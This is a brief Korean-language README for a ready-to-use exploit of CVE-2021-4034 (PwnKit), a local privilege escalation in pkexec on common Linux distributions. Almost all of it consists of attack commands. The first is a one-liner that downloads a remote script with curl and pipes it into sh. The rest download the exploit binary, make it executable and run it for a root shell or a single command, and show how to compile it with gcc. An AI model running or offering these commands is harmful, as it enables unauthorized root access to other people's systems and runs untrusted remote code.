
CVE-2021-4034를 위한 자체 포함된 익스플로잇 - Pkexec 로컬 권한 상승
CVE-2021-4034를 위한 자체 포함 익스플로잇 - Pkexec 로컬 권한 상승
취약한 Ubuntu, Debian, Fedora, CentOS 기반 Linux 배포판에서 바로 작동합니다.
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command

패치된 버전에서 익스플로잇을 실행하면 다음과 같은 출력이 나타납니다.

gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC